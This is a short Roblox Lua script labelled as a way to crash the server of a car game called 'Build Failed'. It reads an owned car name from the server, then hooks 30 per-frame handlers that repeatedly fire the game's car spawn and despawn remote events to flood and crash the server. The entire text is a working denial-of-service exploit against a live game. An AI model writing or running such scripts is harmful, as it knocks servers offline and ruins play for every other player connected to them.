-- @build-failed -- crash server -- need at least one car in the garage to crash the server local runservice = game:GetService("RunService") local replicatedstorage = game:GetService("ReplicatedStorage") local SpawnCarEvent = replicatedstorage:WaitForChild("SpawnCarEvents"):WaitForChild("SpawnCar") local DespawnCarEvent = replicatedstorage:WaitForChild("SpawnCarEvents"):WaitForChild("DespawnCar") local InitializeCarDataEvent = replicatedstorage:WaitForChild("DealershipEvents"):WaitForChild("InitializeCarData") -- get a random owned car name local response = InitializeCarDataEvent:InvokeServer() local carName = nil for _, data in response do if not data or not data.CarName then continue end carName = data.CarName break end -- event -- for i = 1, 30 do runservice.Heartbeat:Connect(function() SpawnCarEvent:FireServer(carName) DespawnCarEvent:FireServer() end) end